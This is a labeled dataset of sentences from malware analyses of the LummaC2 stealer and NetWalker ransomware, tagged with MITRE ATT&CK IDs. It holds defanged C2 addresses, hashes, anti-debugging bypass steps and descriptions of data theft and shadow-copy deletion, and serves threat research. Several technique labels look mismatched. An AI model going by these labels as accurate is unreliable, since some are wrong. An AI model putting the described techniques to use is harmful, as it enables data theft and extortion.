{"sentence": "This stealer may acquire browsing histories, Internet cookies, usernames/passwords, personally identifiable details, credit card numbers, and other highly sensitive information from browsers.", "labels": ["T1005", "T1078"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "LummaC2 also targets multiple cryptocurrencies (e.g., Binance, Electrum, Ethereum, etc.).", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "In summary, software like LummaC2 on devices can result in severe privacy issues, significant financial losses, and identity theft.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Lumma Stealer Composition With the Lumma Stealer malware hash in hand, we visited Malware Bazaar and Triage, where malware samples can be downloaded.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "We searched for the hash value and finally downloaded the malware from the Triage site, completing the first step of our analysis.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Since the sample we obtained is a PE file, when we run it after the appropriate environment is prepared and watch its mobility, it continues to run under the name “tmp.exe” by unpacking itself to the “C:\\Users\\admin\\AppData\\Local\\Temp\\” file path.", "labels": ["T1036.005"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Process Name Command Line tmp.exe C:\\Users\\admin\\AppData\\Local\\Temp\\tmp.exe Behavior Activities: tmp.exe Infostealers often target stored browser data, which can include saved credentials etc.", "labels": ["T1005", "T1078", "T1112"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Registry Key Sets: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections HKU\\S-1-5-21-575823232-3065301323-1442773979-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings HKU\\S-1-5-21-575823232-3065301323-1442773979-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable 1 HKU\\S-1-5-21-575823232-3065301323-1442773979-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer %HTTP_PROXY%:8080 Reads browser cookies and saves this path: C:\\Users\\admin\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\ymgarh1v.defaul t\\cookies.sqlite Connects to the server without a hostname.", "labels": ["T1112"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "hxxp[:]//195[.]123[.]226[.]91/c2sock", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "After the connection to the address is established, it transmits information as a zip file.", "labels": ["T1041"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Details are given in other stages.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Static Analysis Overview File Name tmp.exe File Size 158 KB File Type Win32.exe MD5 c9c0e32e00d084653db0b37a239e9a34 SHA-1 b97965e4a793ec0fa10abc86d0c6be5718716d8a SHA-256 d932ee10f02ea5bb60ed867d9687a906f1b8472f01fc5543b06f9ab22059b264 When Lumma is analyzed in various tools, the outputs of the tools are as follows: It is written in C++ programming language.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Detect It Easy tool’s output is the total ‘6.51920’ entropy value, which turns out 81%.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "PEStudio tool’s output is total ‘6.519‘ entropy value.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "In addition to the entropy value, we can view all functions and imported addresses when we examine them with IDA.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "At this stage, we decide that it is not packed, and when we finally check with the “exeinfope,” the result is “not packed.”", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Strings have been searched, but since there is too much obfuscated information, no tangible results have been found.", "labels": ["T1027"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "One remarkable result we achieved using PEStudio was that it uses ASLR.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "We will continue the analysis by changing the ASLR ‘true‘ parameter to ‘false‘ and saving it.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Anti-Debugger control is provided with “IsDebuggerPresent” API.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "If the EAX register takes 1 as a value, the program will close itself, and it is impossible to debug with the analysis tools; that’s why changing it to 0 to run the program without closing.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The anti-debugger bypass technique will be done during dynamic analysis.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The beginning of obfuscated strings and the field where browser cookie information is collected.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The stealer also targets crypto wallets such as Binance, Electrum, and Ethereum and collects sensitive information from the victim’s machine.", "labels": ["T1005"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The below figure shows the code snippet of stealers targeting crypto wallets.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "(0040772c)", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Here are the obfuscated collections.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Crypto Wallets: Deobfuscated strings come after.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Web Browsers: Deobfuscated strings come after.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The stealer has many obfuscated strings that are being covered by a random string, “edx765“, to evade detection.", "labels": ["T1027"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Upon execution, the stealer passes the obfuscated string to a function that strips the arbitrary string and delivers the original string.", "labels": ["T1027", "T1140"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The results obtained by decoding strings are compared below.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Dynamic Analysis We have started with the first findings we detected while running LummaC2 Stealer in the “behavior” section.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Now, let’s move on to the detailed dynamic analysis stage, verify what we found in the “static analysis” section, and check if we can change the request to the C2 address.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "IsDebuggerPresent By changing the return value for IsDebuggerPresent, one of the most critical APIs we put in breakpoint, we perform the anti-debugging bypass operation.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "LummaC2 stealer sends this information to its C2 server, as shown below.", "labels": ["T1041"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Type: multipart/form-data; boundary=оaj195iak20ka99441aj1″ We observed the IP address in Debugger, and via IDA, we found that the exact IP address is also referred to in the .rdata section.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Host: 195[.]123[.]226[.]91/c2sock One of the parts that will complicate the analysis processes that will perform the termination process has appeared again.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "If we try to skip this part directly, the process will terminate.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Network Activity When LummaC2 is run, the address it sends the POST request to and the C2 addresses are different.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "We found the C2 address by researching VirusTotal.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "We ran the LummaC2 instance directly in the virtual environment and monitored its activity.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "As a result, network activity was observed.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Making a ‘POST’ request, tmp.exe is trying to pass information.", "labels": ["T1071.001"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The POST request is performed as follows.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Host: 195[.]123[.]226[.]91 You can find Shodan results about the host address here.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "When we examine the packet’s content captured with WireShark, we see a “PK” header.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "This means that the C2 is transmitted as a zip file during the POST request.", "labels": ["T1041"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Let’s examine the stolen information by dumping the zip file.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Content-Disposition: form-data; name=”hwid” {78494464-3fdf-11ed-8279-806e6f6e6963} Content-Disposition: form-data; name=”pid” 1 Content-Disposition: form-data; name=”lid” xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx When we examine the contents of the zip file viewed from the PCAP file, it collects information, primarily system information.", "labels": ["T1082"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "It targets the browsers we have seen in the static analysis codes.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The collected data is transferred to the C2 server as a zip file.", "labels": ["T1041"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Since Microsoft Edge and Mozilla Firefox are installed in our analysis environment, Lumma Stealer only collects data from these browsers.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "We have obtained different zip files because Lumma Stealer sent multiple POST requests to the “c2/sock” address.", "labels": ["T1071.001"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "When we begin examining from the lowest to the highest in size, we find only the “System.txt” file in the lowest size file.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Its contents are specified in the following image.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "When we examine the file named Mozilla Firefox, when we view the .db file called cookies, we can see that it collects the following cookie information.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The content of the .db file named web data is shown in the image below.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "There is not much data for the Edge browser, so when we add the cookie information collected for Mozilla, we can see clearly in the following image that it has collected cookie information for many account details.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "In conclusion, Lumma Stealer collects cookie information, search histories, and key inputs from browsers and transfers them to the C2 address.", "labels": ["T1005", "T1041"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The list of all the information it tries to collect inside of the “Web Data” SQLite file is given in the last image.", "labels": ["T1005"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "We used the VirusTotal graphical interface for Threat Research at this research stage with the IP address sending the POST request.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "As seen in the screenshot below, the results of “collections,” “communicating files,” and “referer files” are displayed.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "After that, we opened the link information, and many malicious files and IP addresses were displayed.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "We noticed a large number of open ports when we searched through Shodan, where 144[.]76[.]173[.]247 IP addresses in Germany caught our attention.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "We accessed C2 while visiting port 80. (VirusTotal Graph: Collection)", "labels": ["T1071.001"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "In the next step, when we visit port 80, the login page can be displayed.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "C2 Login Page is shown in the screenshot below.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "C2:144[.]76[.]173[.]247/login Analyst Note:", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The IP address 144[.]76[.]173[.]247 was not encountered during the analysis.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Shodan Result Communication Addresses Requests 195[.]123[.]226[.]91 POST /c2sock: multipart/form-data;boundary=оaj195iak20ka99441aj1 144[.]76[.]173[.]247 GET/login LummaC2 behaves like other stealer-type malware, which can take away system and sensitive data from the victim’s machine.", "labels": ["T1005", "T1082"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "These dangerous programs can usually steal information from web browsers and target crypto wallets.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The additional information stored on web browsers, such as login credentials, PII, and financial information, can be further leveraged to conduct fraud activities.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Threat actors can use the stolen data to steal cryptocurrencies from the victim’s accounts or sell this data to other threat actors for financial gain. Indicators of Compromise You can find the full list of IOCs in the SOCRadar Platform.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Rules & Signatures MITRE ATT&CK Matrix Discovery System Information Discovery T1082 Defense Evasion Debugger Evasion T1622 Defense Evasion Deobfuscate/Decode Files or Information T1140 Defense Evasion Impair Defences T1562 Collection Automated Collection T1119 Collection Data from the Local System T1005 Command and Control Application Layer Protocol T1071 Exfiltration Automated Exfiltration T1020 The post Malware Analysis: LummaC2 Stealer appeared first on SOCRadar:registered: Cyber Intelligence Inc..", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Executive Summary The NetWalker ransomware, initially known as Mailto, was first detected in August 2019.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Since then, new variants were discovered throughout 2019 and the beginning of 2020, with a strong uptick noticed in March of this year.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "NetWalker has noticeably evolved to a more stable and robust ransomware-as-a-service (RaaS) model, and our research suggests that the malware operators are targeting and attracting a broader range of technically advanced and enterprising criminal affiliates.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "McAfee Advanced Threat Research (ATR) discovered a large sum of bitcoins linked to NetWalker which suggest its extortion efforts are effective and that many victims have had no option other than to succumb to its criminal demands.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We approached our investigation of NetWalker with some possible ideas about the threat actor behind it, only to later disprove our own hypothesis.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We believe the inclusion of our thinking, and the means with which we debunked our own theory, highlight the importance of thorough research and we welcome further discussion on this topic.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We believe it starts valuable discussions and helps avoid duplicate research efforts by others.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We also encourage our peers in the industry to share information with us in case you have more evidence.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "McAfee protects its customers against the malware covered in this blog in all its products, including personal antivirus, endpoint and gateway.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "To learn more about how McAfee products can defend against these types of attacks, visit our blog on Building Adaptable Security Architecture Against NetWalker.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Check out McAfee Insights to stay on top of NetWalker’s latest developments and intelligence on other cyber threats, all curated by the McAfee ATR team.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Not only that, Insights will also help you prioritize threats, predict if your countermeasures will work and prescribe corrective actions.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Introduction Since 2019, NetWalker ransomware has reached a vast number of different targets, mostly based in western European countries and the US.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Since the end of 2019, the NetWalker gang has indicated a preference for larger organisations rather than individuals.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "During the COVID-19 pandemic, the adversaries behind NetWalker clearly stated that hospitals will not be targeted; whether they keep to their word remains to be seen.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The ransomware appends a random extension to infected files and uses Salsa20 encryption.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "It uses some tricks to avoid detection, such as a new defence evasion technique, known as reflective DLL loading, to inject a DLL from memory.", "labels": ["T1055"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The NetWalker collective, much like those behind Maze, REvil and other ransomware, threatens to publish victims’ data if ransoms are not paid.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "As mentioned earlier, NetWalker RaaS prioritizes quality over quantity and is looking for people who are Russian-speaking and have experience with large networks.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "People who already have a foothold in a potential victim’s network and can exfiltrate data with ease are especially sought after.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This is not surprising, considering that publishing a victims’ data is part of NetWalker’s model.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The following sections are dedicated to introducing the NetWalker malware and displaying the telemetry status before moving on to the technical malware analysis of the ransomware’s behaviour.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We will explain how the decryptor works and show some interactions between NetWalker’s operators and their victims.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "After this, we discuss the changes in modus operandi since September 2019, especially regarding payment behaviour.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Then we show our attempts, unfruitful as they were, at discovering a link between NetWalker and previous, seemingly unrelated ransomware variants.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Finally, we deliver an overview of IOCs related to NetWalker and its MITRE ATT&CK techniques.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Telemetry Using McAfee’s billion Insights sensors, we can show the global prevalence of the NetWalker ransomware. Figure 1.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "McAfee MVISION Insights shows global prevalence of the NetWalker ransomware Technical Analysis Ransom note (pre-March 2020)", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Before March 2020, the NetWalker ransom note indicated how to contact the adversary directly using anonymous email account services with random names (such as kkeessnnkkaa@cock.li and hhaaxxhhaaxx@tuta.io): Figure 2.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Example of ransom note prior to March 2020 Ransom Note (Post-March 2020)", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "On 12 March 2020, a researcher shared a screenshot of a new NetWalker ransom note in a tweet and we can see that the attackers have changed the contact method significantly.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Email communication has been dropped completely with victims now required to make contact through the NetWalker Tor interface where, after submitting their user key, they will then be redirected to a chat with NetWalker technical support.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This change in contact method coincides with underground forum postings where NetWalker revealed it was opening its RaaS up for new affiliates.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The Tor page was not the only noticeable change we will highlight in this blog.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Figure 3.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Example of ransom note after March 2020 NetWalker Analysis Figure 4. NetWalker behavior NetWalker Resource Analysis (Pre-March 2020)", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The NetWalker malware uses a custom resource type (1337 or 31337) containing its entire configuration.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This file is extracted to memory and decrypted using the RC4 algorithm with a hard-coded key in the resource.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Before 12 March 2020, NetWalker used the email contact process between its support operation and the victims to proceed with payment and send the decryption program.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "To do this, NetWalker used its configuration file in the resource to set its encryption mode, the name of the ransom note, etc., and email contacts.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Name wwllww.exe Size 96256 bytes File-Type EXE SHA 256 58e923ff158fb5aecd293b7a0e0d305296110b83c6e270786edcc4fea1c8404c Compile time 6 December 2019 Figure 5.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "NetWalker resource from wwllww.exe Once decrypted, the configuration file reveals several parameters, allowing us to understand how it works (how it constitutes the ransom note, the number of threads allocated for encryption, etc.): mpk Public key mode Encryption mode thr Allocated threads for encryption process spsz Encryption chunk namesz Name length idsz ID length crmask .mailto[email].{ID} mail Contact mail lfile Ransom Note name lend B64 encoded ransom note white Encryption whitelist kill Processes, tasks, service names to terminate unlocker Decryption exclusion list NetWalker Resource Analysis (Post-March 2020)", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "When Netwalker changed its contact mode and switched from email to the submission of the user key directly on the web portal of the group’s blog, the configuration file in the resource also changed.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We found changes in the configuration file, such as the disappearance of the contact “mail” and “crmask” fields (previously set as XXX@cock.li,XXX@tuta.io, etc., and .mailto[email].{ID}).", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This field was replaced by “onion1” and “onion2”, and these fields are set with the NetWalker blog URL/payment page (hxxp://rnfdsgm<snip>drqqd.onion/).", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We also noticed that the NetWalker developers complemented their “unlocker” field with some specific values (e.g. “psexec.exe, system, forti*.exe, fmon.exe*, etc”).", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Name cnt.ex Size 70656 bytes File-Type EXE SHA 256 26dfa8512e892dc8397c4ccbbe10efbcf85029bc2ad7b6b6fe17d26f946a01bb Compile time 2 May 2020 Figure 6.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "NetWalker resource from cnt.ex Usually, attackers use RC_DATA or a malicious BITMAP.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The latter can, for example, be a regular Bitmap (open matrix image format used by Windows) that can be used by malware to execute code or as a payload dropper.", "labels": ["T1027"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The image’s pixels are an actual binary representation of the payload.", "labels": ["T1027"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This process can be summarized as Exe -> Resources -> BMP with embedded data in pixels fetched and decrypted by, e.g. a DLL -> Payload), etc.", "labels": ["T1027", "T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "However, in this case, they use this special custom type to increase obfuscation.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The NetWalker developers chose custom types by using 1337 or 31337 structs, so the resource format does not change.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "However, as we said, several values have changed or been replaced: mpk Public Key mode Encryption mode spsz Encryption chunk thr Allocated threads for encryption process namesz Name length idsz ID length lfile Ransom Note name onion1 Blog URL 1 onion 2 Blog URL 2 white Encryption whitelist kill Processes, tasks, service names to terminate net Network resources encryption unlocker Decryption exclusion list lend B64 encoded ransom note NetWalker Executable Analysis (Post-March 2020)", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The malware sample used for this blog post has the same information: Name c21ecd18f0bbb28112240013ad42dad5c01d20927791239ada5b 61e1c6f5f010 Size 70656 bytes File-Type EXE SHA 256 c21ecd18f0bbb28112240013ad42dad5c01d20927791239ada5b 61e1c6f5f010 Compile time 2 May 2020", "labels": ["T1027"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The unpacked malware is a binary file of 32 bits that can be found as an EXE file.", "labels": ["T1027"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Figure 7.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Information sample of the malware The malware’s first action is to combine all the required functions it needs into one large function, combining the modules already loaded in Windows with additional DLLs as described below.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Instead of searching for the function in the usual way, the malware makes a CRC32 hash of the name of each function and compares with hardcoded values.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Additionally, instead of using the function “GetProcAddress”, the malware uses the Process Environment Block (PEB) to make analysis harder. Figure 8.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Get the module accessing the PEB and using a CRC32", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "If the module cannot be discovered, it will load with “LdrLoadDll”, a native function of Windows, to try avoiding hooks in the usual functions, e.g. “LoadLibraryW”: Figure 9.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Load library using LdrLoadDll Figure 10.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Get functions from module, e.g. using a CRC32 hash If the malware fails to get a function, it will go to a “sleep” call and terminate itself.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Later, the malware extracts the configuration file from a resource with a custom type and a custom name using the functions “FindResourceA”, “LockResource”, “LoadResource” and “SizeOfResource”.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The file extracted in memory is decrypted using the RC4 algorithm with a hardcoded key in the resource.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The struct of the resource is: 4 bytes ->", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The size of the hardcoded key to decrypt the configuration file.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Variable size -> the hardcoded key to decrypt the configuration file.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Variable size -> the configuration file encrypted.", "labels": ["T1027"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The malware reads the first 4 bytes and reserves memory with the size of the password and reserves memory of the resource minus 4 bytes and the size of the password.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Finally, it decrypts the configuration file: Figure 11.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Get configuration file and decrypt it If the malware fails to get the configuration file, it will terminate itself.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "After getting the configuration file, the malware will parse it and save the fields in memory and write in the registry information to encrypt the files in the machine.", "labels": ["T1112"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The malware will try first to write in the registry-hive “HKEY_LOCAL_MACHINE” but if it cannot create it, it will use the registry-hive “HKEY_CURRENT_USER”: Figure 12.", "labels": ["T1112"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Write in the registry After the writing in the registry has been completed, it will get some privileges using a token as SE_DEBUG_PRIVILEGE and SE_IMPERSONATE_PRIVILEGE: Figure 13.", "labels": ["T1112"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Get some special privileges in the token Later, the malware creates three threads, one to get information about the machine, such as the operating system version, one to get processes and the last one to get services in the system.", "labels": ["T1057", "T1082"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "After this step, it will get the system directory and use “VSSadmin” to delete the Volume Shadow copies of the system.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Volume Shadow copies can contain copies of the encrypted files and would be an option to restore from if no backup exists.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Delete the shadow volumes Later, the malware will enumerate the logical units, prepare the new extension for the future encrypted files, based on the size that is defined in the ransomware config with a random extension, and encrypt all files in the fixed type units and remote units with the new extension.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Figure 15.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Crypt the files After all these steps have been completed, it will create the ransom note on the desktop using the functions “SHGetFolderPathlW” and “CreateFileW”.", "labels": ["T1106"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Subsequently, it will write the ransom note from the memory into a new file with the function “WriteFile”.", "labels": ["T1106"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The malware will create the ransom note in the root folder (for example “c:\\”) of each logical unit.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Next, it will launch “notepad.exe” with an argument to the ransom note file to show the user what happened on the system: Figure 16.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Creation of the ransom note in the desktop and root units Finally, after the encryption of the files and creation of the ransom note, the malware creates a bat file in the %temp% folder of the machine with a temporary name and writes the content to destroy itself using the program “taskkill”.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The batch script will delete the malware sample with its path using the command “del” and finally delete the bat file with the command “del %0%”.", "labels": ["T1059.003", "T1070.004"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Of course, as the malware uses the “del” command without destroying itself before the deletion, it can be recovered with some forensic tools with luck (the same can also be said for the bat file).", "labels": ["T1070.004"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This way the malware tries to remove itself from the machine to avoid being detected and analyzed by security researchers: Figure 17.", "labels": ["T1070.004"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Get Temp path and make a temporary file as a bat and launch it Finally, the malware will finish with “ExitProcess”.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Decryptor When a NetWalker victim goes through technical support (see an example of this below) and pays the ransom demanded by the group they will be able to download the decryptor to clean up their environment.", "labels": ["T1105", "T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Figure 18.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
